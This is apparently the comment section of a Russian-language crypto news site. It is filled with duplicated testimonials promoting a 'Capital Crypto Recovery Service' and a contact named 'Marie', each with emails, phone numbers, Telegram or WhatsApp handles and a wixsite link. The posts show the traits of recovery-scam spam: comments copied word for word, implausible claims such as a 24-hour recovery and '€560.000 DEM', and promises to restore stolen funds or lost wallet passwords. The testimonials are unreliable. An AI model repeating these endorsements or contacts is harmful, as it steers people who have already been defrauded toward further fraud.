CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
14.10.25 08:46
robertalfred175
CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 18:07
crypto
Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
-
15.10.25 21:52
harristhomas7376
"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com
Войти
Регистрация
Похожие новости
Подпишись на telegram канал и узнавай первым обо всех новостях